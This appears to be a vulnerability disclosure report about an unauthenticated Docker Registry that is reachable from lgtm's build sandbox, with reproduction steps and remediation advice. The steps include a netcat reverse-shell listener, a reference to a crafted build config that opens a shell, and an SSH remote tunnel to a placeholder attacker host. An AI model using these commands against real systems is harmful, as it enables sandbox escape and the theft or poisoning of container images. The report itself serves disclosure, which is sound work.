Docker Registry HTTP API v2 exposed in HTTP without authentication leads to docker images dumping and poisoning

How it was found

Summary: Docker Registry HTTP API v2 is exposed in HTTP without authentication. An attacker can use it to dump your docker images and poison them.

Description: While digging into the environment that hosts the sandboxed build container, I came across the port 5000 open on another machine (probably the host), which is used for Docker Registry (https://docs.docker.com/registry/). I was able to reach the service and dump the lgtm/top repository. I didn't try to upload anything because I didn't want to alter your docker images.

Steps To Reproduce:

1. Create a GitHub repository that has the attached file, name it .lgtm.yml and modify ATTACKER_HOST and ATTACKER_PORT to yours.
2. set up a netcat listener: nc -vlp ATTACKER_PORT
3. Add the project to lgtm, it should start building it. After some time, you should get a reverse shell.
4. Make a remote SSH tunnel from the build container ssh -R 5555:172.17.0.1:5000 attacker@ATTACKER_HOST -p SSH_PORT -f -N
5. Enter your attacker password and a SSH tunnel should be up.
6. Using the docker_fetch tool (https://github.com/NotSoSecure/docker_fetch/), use the url http://127.0.0.1:5555 and dump the repository that you want.
7. Additionally, you can follow this reference if you would like to test for blob uploads (https://docs.docker.com/registry/spec/api/#initiate-blob-upload) and look for this string /v2/<name>/blobs/uploads/. I tried to initiate an upload and it gave me the uuid of the upload, which means no restriction is made for uploads.

NOTE: Even if the shell is lost from the sandbox, the SSH Tunnel still works. This might mean a sandbox escape

Supporting Material/References:

*A writeup about the vulnerability in a pentest: https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/ *The Docker Registry Doc: https://docs.docker.com/registry/spec/api/#initiate-blob-upload

Remediation:

1. Implement authentication to the service.
2. Use HTTPS
3. Limit the possibility of reverse shells by whitelisting only useful ports ( It might be challenging because of the purpose of the build sandbox)

Impact

An attacker can use it to dump your docker images and poison them.